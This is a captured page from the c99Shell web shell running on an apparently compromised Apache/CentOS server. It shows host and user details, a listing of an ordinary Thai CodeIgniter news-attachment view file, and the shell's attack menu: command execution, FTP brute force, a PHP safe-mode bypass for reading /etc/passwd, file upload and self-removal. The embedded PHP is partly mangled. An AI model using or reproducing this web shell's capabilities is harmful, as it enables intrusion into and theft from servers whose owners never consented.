!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_NewsFileAttach.php (3.4 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script language="JavaScript1.2">
function checkDocFile() {
    var docFile, docName;

    docFile = document.getElementById('docFile').value;
    docName = document.getElementById('docName').value;

    if(docFile!="" && docName=="") {
        alert("กรุณากป้อนชื่อเอกสาร!!");
        return false;
    }
}
</script>
<?php
$row_nw 
= (isset($qu_nw) && $qu_nw!=NULL) ? $qu_nw->row() : NULL;
?>
<table width="100%">
    <tr>
        <td align="center"><span class="h error">แนบ/ลบเอกสารประกอบข่าว</span></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td><table class="szone">
        <?php echo form_open_multipart($this->config->item("rg_folder")."faq/nw_attachFile_insert_update", array("name" => "myform""id" => "myform"));?>
            <tr bgcolor="<?php echo $tr_color_even;?>">
                <td height="25px" colspan="2" class="indent"><b>หัวเรื่องข่าว :</b>
                <?php echo setValue('nwTitle',$row_nw);?></td>
            </tr>
            <tr bgcolor="<?php echo $tr_color_even;?>">
                <td height="25px" colspan="2" class="indent"><b>เอกสารที่แนบแล้ว : </b>
<?php
        $i 
0;
        if(isset(
$rs_nwu) && $rs_nwu->num_rows()) {
            foreach(
$rs_nwu->result() as $row_nwu) {
?>
                <a href="<?php echo base_url().$this->config->item('rg_docNews').$row_nwu->nwuPath;?>"><?php echo $row_nwu->nwuFileName." ";?></a>
                <span onClick="confirmDel2({nwuId:<?php echo $row_nwu->nwuId;?>, nwuNwId:<?php echo $row_nwu->nwuNwId;?>}, 'm_form1','<?php echo site_url($this->config->item('rg_folder').'faq/nwu_deleteFile');?>')" /><img src="<?php echo base_url()."images/".$this->config->item("rg_folder")."picture/delete.gif";?>" align="absmiddle" border="0" width="16" height="19" class="hand"/></span>

<?php
            
}
        } else {
                echo 
"ไม่มีการแนบไฟล์";
        }
?>
                </td>
            </tr>
            <tr bgcolor="<?php echo $tr_color_even;?>">
                <td colspan="2" class="coltd_szone">แนบเอกสารประกอบข่าว</td>
            </tr>
            <tr bgcolor="<?php echo $tr_color_even;?>">
                <td><table class="szone">
                    <tr>
                        <td width="20px"></td>
                        <td class="coltd_szone">ชื่อเอกสาร</td>
                        <td><input type="text" name="docName" id="docName" size="30" maxlength="70" value="<?php echo set_value('docName');?>" />
                        <span class="error"> *</span>
                        <?php echo form_error('docName');?></td>
                    </tr>
                    <tr>
                        <td></td>
                        <td class="coltd_szone">แนบเอกสาร</td>
                        <td><input type="file" name="docFile" id="docFile" value="<?php echo set_value('docFile');?>" />
                        <span class="error"> (ขนาดไฟล์ไม่เกิน 2 MB)</span>
                        <span class="error"><?php echo form_error('docFile');?></td>
                    </tr>
                </table></td>
            </tr>
            <tr bgcolor="<?php echo $tr_color_even;?>">
                <td align="center" colspan="2" class="coltd_szone">
                <input type="submit" name="add" id="add" value="บันทึก" onClick="return checkDocFile()" />
                <input type="button" name="back" id="back" value="ย้อนกลับ" onclick="location.href='<?php echo site_url()."/".$this->config->item('rg_folder').'faq/nw_show';?>'" />
                <input type="hidden" name="nwId" id="nwId" value="<?php echo setValue('nwId'$row_nw);?>" />
            </tr>
        <?php echo form_close();?></table></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--